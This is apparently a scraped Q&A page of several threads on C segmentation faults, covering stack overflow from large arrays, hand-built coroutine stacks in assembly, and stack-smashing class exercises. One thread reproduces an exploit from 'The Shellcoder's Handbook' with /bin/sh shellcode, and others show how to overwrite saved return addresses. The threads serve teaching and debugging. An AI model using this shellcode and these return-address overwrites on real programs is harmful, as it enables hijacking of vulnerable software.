what is causing SIGSEV? - c

/*
learning from all the post - please correct me if i am wrong..
now it makes sense- if i remember it right, the stack is a fixed memory segment- allocated on program start up... while the virtual memory can be sized/resized programmatically using malloc, realloc, free...
the struct pointer array -
long size = 10000000;
struct foo *bar[size];
should have been allocated from heap - using malloc()... instead of just a fixed size stack (program text)
*/
This one SIGSEV's:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
printf("%ld \n", i);
i++;
}
}
This one works - commenting out the struct foo pointer array:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
//struct foo *bar[size];
long i = 0;
while (i < size) {
printf("%ld \n", i);
i++;
}
}
This one works - commenting our the while loop:
#include <stdio.h>
#include <stdlib.h>
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
//printf("%ld \n", i);
i++;
}
}
/* what i really am trying to achieve is this... which SIGSEVS -
ok thanks for all your replies i really appreciate it...
will look int stack overflow and use explore using heap memory-- thanks guys
*/
int main(void) {
struct foo {
int x;
char s[5];
};
long size = 10000000;
struct foo *bar[size];
long i = 0;
while (i < size) {
bar[i] = (struct foo *) malloc(sizeof(struct foo));
free(bar[i]);
i++;
}
return EXIT_SUCCESS;
}

long size = 10000000;
struct foo *bar[size];
will create a very big array, which may cause stack overflow, and therefore your program receive the SIGSEV.
You should create this array dynamically:
struct foo *bar = malloc(size * sizeof(struct foo *));
Why does the program work normally if these is not any function call in main()?
The definition of foo will cause main() to have a large stack frame at runtime. If you does not call any function in main(), this large stack frame will not be actually allocated or accessed (the entrance code of main() only make sure that amounts of memory be reserved by manipulating some registers and memory cells); but if you call a function in main(), the calling itself will try to access some addresses in that main() stack frame, because of stack overflow, those addresses may not be valid, this will cause SIGSEV be sent.
If you disassemble and compare the working and not-working versions of this program, this would be obvious. You could also find it out by stepping through the instructions of not-working main() one by one.
Without function call in main():
0x00001ff0 <main+0>: push %ebp
0x00001ff1 <main+1>: mov %esp,%eax
0x00001ff3 <main+3>: mov %esp,%ebp
0x00001ff5 <main+5>: sub $0x2625a10,%esp
0x00001ffb <main+11>: mov %eax,%esp
0x00001ffd <main+13>: leave
0x00001ffe <main+14>: ret
Call exit() in main():
0x00001fe0 <main+0>: push %ebp
0x00001fe1 <main+1>: mov %esp,%ebp
0x00001fe3 <main+3>: sub $0x2625a28,%esp
0x00001fe9 <main+9>: movl $0x0,(%esp) <==== This causes segfault.
0x00001ff0 <main+16>: call 0x3000 <dyld_stub_exit>

Stack overflow is causing sigsegv. There's no need of a while loop. A single printf will cause stack overflow.
Local variables are created on the stack. The variable foo is using huge space on the stack. Stack is also used to store return addresses in function calls. So both of them together will cause a stack overflow. foo uses up almost all the space in the stack. Calling printf overflows the stack
You should allocate on the heap using malloc.

Stack size is the problem here, as others have pointed out. Check out C/C++ maximum stack size of program for more details.

Related

Segmentation fault when calling printf in C after setting the stack

I'am doing an exercice for an Operational Systems class and getting an SegFault error when calling printf with arguments.
The objective of the exercice is to simulate the initialization of a thread and print a counter, not very difficult. I have a table of 4 entries each with size 4096 bytes, each entry must represent the thread's stack represented as
#define STACK_SIZE 4096
char table[4][STACK_SIZE];
I defined a type called coroutine that will get only a stack address
typedef void* coroutine_t;
The i have a initialization code. This code must take the end of the routine stack, append the address of the coroutine and the initialization of the registers and return the pointer that will be the stack pointer for the coroutine.
coroutine_t init_coroutine(void *stack_begin, unsigned int stack_size,
void (*initial_pc)(void)) {
char *stack_end = ((char *)stack_begin) + stack_size;
void **ptr = (void**) stack_end;
ptr--;
*ptr = initial_pc;
ptr--;
*ptr = stack_end; /* Frame pointer */
ptr--;
*ptr = 0; /* RBX*/
ptr--;
*ptr = 0; /* R12 */
ptr--;
*ptr = 0; /* R13 */
ptr--;
*ptr = 0; /* R14 */
ptr--;
*ptr = 0; /* R15 */
return ptr;
}
Then i have this code in x86 assembly to enter the coroutine that just pop the register previously pushed
.global enter_coroutine /* Makes enter_coroutine visible to the linker*/
enter_coroutine:
mov %rdi,%rsp /* RDI contains the argument to enter_coroutine. */
/* And is copied to RSP. */
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
ret /* Pop the program counter */
The rest of my code is this
coroutine_t cr;
void test_function() {
int counter = 0;
while(1) {
printf("counter1: %d\n", counter);
counter++;
}
}
int main() {
cr = init_coroutine(table[0], STACK_SIZE, &test_function);
enter_coroutine(cr);
return 0;
}
So for the error
If i run as it is i will get a segfault when the program call printf the output from gdb is
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7dfcfdd in __vfprintf_internal (s=0x7ffff7f9d760 <_IO_2_1_stdout_>, format=0x555555556004 "counter1: %d\n", ap=ap#entry=0x555555558f48 <table+3848>, mode_flags=mode_flags#entry=0) at vfprintf-internal.c:1385
I assume it has some thing happening with the stack for two causes:
If i just print a string without parameters i get no error
If i remove the first ptr-- statement from the init_coroutine function it will also work, but will alocate things in the end of the stack and hence in the other thread's stack
I'am running this in a Intel(R) Core(TM) i5-5200U CPU with ubuntu 21.10 and ggc version 11.2.0
Could you give me some light here ?
I wasn't able to reproduce the problem on my x86_64 Linux box, but I was on compiler explorer, and the problem seems to be simple stack overflow (i.e., 4096 is too small a stack for printf).
Increasing the stack size (or choosing table[1], table[2], or table[3] instead table[0], which is effectively the same as increasing stack size) appears to make it work: https://gcc.godbolt.org/z/rnfMThbjo

"The Shellcoder's Handbook" attack.c does not make sense

From "The Shellcoder's Handbook", victim.c is as follows
// victim.c
int main(int argc,char *argv[])
{
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]);
}
Its exploit, attack.c is as follows
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)
unsigned long find_start(void) {
__asm__("movl %esp,%eax"); //Get ESP's value and return it.
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
ptr = buff; assigns buff's garbage value to ptr(buff is not initialized). The subsequent line, addr_ptr = (long *) ptr;, assigns ptr's value (buff's garbage value) to addr_ptr. The author's intent on these lines are not clear to me. addr_ptr is supposed to contain the address to which the program jump, preferrably the NOP sled, when it retrieves the saved EIP. However, addr_ptr contains garbage value instead.
I believe buff should be dynamically allocated, using malloc first.
I know "The Shellcoder's Handbook" has many errors, but it is one of the few books that talks about Software exploitation.
On line 26
addr = find_start() - offset;
addr is set to the target return address, so it's not really garbage.
From my understanding what the authors do is to first fill the whole buffer with addr repeatedly, so that this serves both as garbage data and as return address to overwrite the stored EIP. Additionally, doing this allows them to not care about the right offset to place the return address, provided the buffer is well DWORD aligned on the stack.
Then they overwrite the beginning of the "garbage data part" of this buffer with BUF= followed by the shellcode. This works because BUF= is of length 4, so it does not break the DWORD alignment.
Yes buff should be allocated. Note that if you check the nopattack.c in the following pages where they add the NOP sled to the exploit, then you see that it is indeed allocated on line 28:
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
Also, if you compare attack.c and nopattack.c, the codes have quite some differences (allocation, variable and function names, #define constants capitalized...) which is surprising when the latter code is supposed to be just one iteration after the former. This suggests a refactoring may have been made at some point when they wrote the book (or the second edition), and the error could come from this.

C buffer overflow getting Segmentation Fault

I am trying to do a buffer-overflow for my security class, we are not allowed to call any function and we need to jump to secret function and also return 0 without segmentation fault. I wrote the code below and successfully jumped to secret but I am getting a segmentation fault. How can I terminate the program successfully? Or is it possible to just write to a single address instead of for loop, when I tried it did not change anything.
#include <stdio.h>
void secret()
{
printf("now inside secret()!\n");
}
void entrance()
{
int doNotTouch[10];
// can only modify this section BEGIN
// cant call secret(), maybe use secret (pointer to function)
for (int i = 0; i < 14; i++) {
*(doNotTouch + i) = (int) &secret;
}
// can only modify this section END
printf("now inside entrance()!\n");
}
int main (int argc, char *argv[])
{
entrance();
return 0;
}
In some semi-assembler, assuming some kind of x86. (BP is pseudocode for EBP or RBP, assuming you're not actually compiling for 16-bit mode. 32-bit mode is likely so int is the same width as a return address.)
; entrance:
; - stack has return address to main
push bp ; decrement SP by a pointer width
mov bp,sp
sub sp, 10*sizeof(int) ; reserve space for an array
;....
; doNotTouch[0] is probably at [bp - 10*sizeof(int)]
When you loop to 14, you first overwrite the saved bp at i==10 and then the return address to main (which is correct) and then overwrite some more which eventually causes the seg fault. So you only need to do *(doNotTouch + 11) = (int) &secret; - assuming int is the size of a function pointer. (Or a bit more if the compiler left a gap for stack-alignment or its own use. In a debug build other locals will have stack slots. Overwriting them could lead to an infinite loop that goes out of bounds.)
Then follows your printf and then the function returns, but it does not return to main but "jumps" to secret.
When secret returns, it is actually now the return from main but it couldn't do the return 0;
So secret should be:
int secret()
{
printf("now inside secret()!\n");
return 0;
}
Disclaimer: "....I think."

Segmentation fault creating a user-level thread with C and assembly

I am trying to understand some OS fundamentals using some assignments. I have already posted a similar question and got satisfying answers. But this one is slightly different but I haven't been able to debug it. So here's what I do:
What I want to do is to start a main program, malloc a space, use it as a stack to start a user-level thread. My problem is with return address. Here's the code so far:
[I'm editing my code to make it up-to-date to the current state of my answer ]
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#define STACK_SIZE 512
void switch_thread(int*,int*);
int k = 0;
void simple_function()
{
printf("I am the function! k is: %d\n",k);
exit(0);
}
void create_thread(void (*function)())
{
int* stack = malloc(STACK_SIZE + 32);
stack = (int* )(((long)stack & (-1 << 4)) + 0x10);
stack = (int* ) ((long)stack + STACK_SIZE);
*stack = (long) function;
switch_thread(stack,stack);
}
int main()
{
create_thread(simple_function);
assert(0);
return 0;
}
switch_thread is an assembly code I've written as follows:
.text
.globl switch_thread
switch_thread:
movq %rdi, %rsp
movq %rsi, %rbp
ret
This code runs really well under GDB and gives the expected output (which is,passing the control to simple_function and printing "I am the function! k is: 0". But when run separately, this gives a segmentation fault. I'm baffled by this result.
Any help would be appreciated. Thanks in advance.
Two problems with your code:
Unless your thread is actually inside a proper procedure (or a nested procedure), there's no such thing as "base pointer". This makes the value of %rbp irrelevant since the thread is not inside a particular procedure at the point of initialization.
Contrary to what you think, when the ret instruction gets executed, the value that %rsp is referring to becomes the new value of the program counter. This means that instead of *(base_pointer + 1), *(base_pointer) will be consulted when it gets executed. Again, the value of %rbp is irrelevant here.
Your code (with minimal modification to make it run) should look like this:
void switch_thread(int* stack_pointer,int* entry_point);
void create_thread(void (*function)())
{
int* stack_pointer = malloc(STACK_SIZE + 8);
stack_pointer += STACK_SIZE; //you'd probably want to back up the original allocated address if you intend to free it later for any reason.
switch_thread(stack_pointer,function);
}
Your switch_thread routine should look like this:
.text
.globl switch_thread
switch_thread:
mov %rsp, %rax //move the original stack pointer to a scratch register
mov %rdi, %rsp //set stack pointer
push %rax //back-up the original stack pointer
call %rsi //call the function
pop %rsp //restore the original stack pointer
ret //return to create_thread
FYI: If you're initializing a thread on your own, I suggest that you first create a proper trampoline that acts as a thread entry point (e.g. ntdll's RtlUserThreadStart). This will make things much cleaner especially if you want to make your program multithreaded and also pass in any parameters to the start routine.
base_pointer needs to be suitably aligned to store void (*)() values, otherwise you're dealing with undefined behaviour. I think you mean something like this:
void create_thread(void (*function)())
{
size_t offset = STACK_SIZE + sizeof function - STACK_SIZE % sizeof function;
char *stack_pointer = malloc(offset + sizeof *base_pointer);
void (**base_pointer)() = stack_pointer + offset;
*base_pointer = function;
switch_thread(stack_pointer,base_pointer);
}
There is no need to cast malloc. It's generally a bad idea to cast pointers to integer types, or function pointers to object pointer types.
I understand that this is all portable-C nit-picky advice, but it really does help to write as much as your software as possible in portable code rather than relying upon undefined behaviour.

How to skip a line doing a buffer overflow in C

I want to skip a line in C, the line x=1; in the main section using bufferoverflow; however, I don't know why I can not skip the address from 4002f4 to the next address 4002fb in spite of the fact that I am counting 7 bytes form <main+35> to <main+42>.
I also have configured the options the randomniZation and execstack environment in a Debian and AMD environment, but I am still getting x=1;. What it's wrong with this procedure?
I have used dba to debug the stack and the memory addresses:
0x00000000004002ef <main+30>: callq 0x4002a4 **<function>**
**0x00000000004002f4** <main+35>: movl $0x1,-0x4(%rbp)
**0x00000000004002fb** <main+42>: mov -0x4(%rbp),%esi
0x00000000004002fe <main+45>: mov $0x4629c4,%edi
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = buffer + 12;
(*ret) += 8;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
You must be reading Smashing the Stack for Fun and Profit article. I was reading the same article and have found the same problem it wasnt skipping that instruction. After a few hours debug session in IDA I have changed the code like below and it is printing x=0 and b=5.
#include <stdio.h>
void function(int a, int b) {
int c=0;
int* pointer;
pointer =&c+2;
(*pointer)+=8;
}
void main() {
int x =0;
function(1,2);
x = 3;
int b =5;
printf("x=%d\n, b=%d\n",x,b);
getch();
}
In order to alter the return address within function() to skip over the x = 1 in main(), you need two pieces of information.
1. The location of the return address in the stack frame.
I used gdb to determine this value. I set a breakpoint at function() (break function), execute the code up to the breakpoint (run), retrieve the location in memory of the current stack frame (p $rbp or info reg), and then retrieve the location in memory of buffer (p &buffer). Using the retrieved values, the location of the return address can be determined.
(compiled w/ GCC -g flag to include debug symbols and executed in a 64-bit environment)
(gdb) break function
...
(gdb) run
...
(gdb) p $rbp
$1 = (void *) 0x7fffffffe270
(gdb) p &buffer
$2 = (char (*)[5]) 0x7fffffffe260
(gdb) quit
(frame pointer address + size of word) - buffer address = number of bytes from local buffer variable to return address
(0x7fffffffe270 + 8) - 0x7fffffffe260 = 24
If you are having difficulties understanding how the call stack works, reading the call stack and function prologue Wikipedia articles may help. This shows the difficulty in making "buffer overflow" examples in C. The offset of 24 from buffer assumes a certain padding style and compile options. GCC will happily insert stack canaries nowadays unless you tell it not to.
2. The number of bytes to add to the return address to skip over x = 1.
In your case the saved instruction pointer will point to 0x00000000004002f4 (<main+35>), the first instruction after function returns. To skip the assignment you need to make the saved instruction pointer point to 0x00000000004002fb (<main+42>).
Your calculation that this is 7 bytes is correct (0x4002fb - 0x4002fb = 7).
I used gdb to disassemble the application (disas main) and verified the calculation for my case as well. This value is best resolved manually by inspecting the disassembly.
Note that I used a Ubuntu 10.10 64-bit environment to test the following code.
#include <stdio.h>
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = (int *)(buffer + 24);
(*ret) += 7;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
output
x = 0
This is really just altering the return address of function() rather than an actual buffer overflow. In an actual buffer overflow, you would be overflowing buffer[5] to overwrite the return address. However, most modern implementations use techniques such as stack canaries to protect against this.
What you're doing here doesn't seem to have much todo with a classic bufferoverflow attack. The whole idea of a bufferoverflow attack is to modify the return adress of 'function'. Disassembling your program will show you where the ret instruction (assuming x86) takes its adress from. This is what you need to modify to point at main+42.
I assume you want to explicitly provoke the bufferoverflow here, normally you'd need to provoke it by manipulating the inputs of 'function'.
By just declaring a buffer[5] you're moving the stackpointer in the wrong direction (verify this by looking at the generated assembly), the return adress is somewhere deeper inside in the stack (it was put there by the call instruction). In x86 stacks grow downwards, that is towards lower adresses.
I'd approach this by declaring an int* and moving it upward until I'm at the specified adress where the return adress has been pushed, then modify that value to point at main+42 and let function ret.
You can't do that this way.
Here's a classic bufferoverflow code sample. See what happens once you feed it with 5 and then 6 characters from your keyboard. If you go for more (16 chars should do) you'll overwrite base pointer, then function return address and you'll get segmentation fault. What you want to do is to figure out which 4 chars overwrite the return addr. and make the program execute your code. Google around linux stack, memory structure.
void ff(){
int a=0; char b[5];
scanf("%s",b);
printf("b:%x a:%x\n" ,b ,&a);
printf("b:'%s' a:%d\n" ,b ,a);
}
int main() {
ff();
return 0;
}

Resources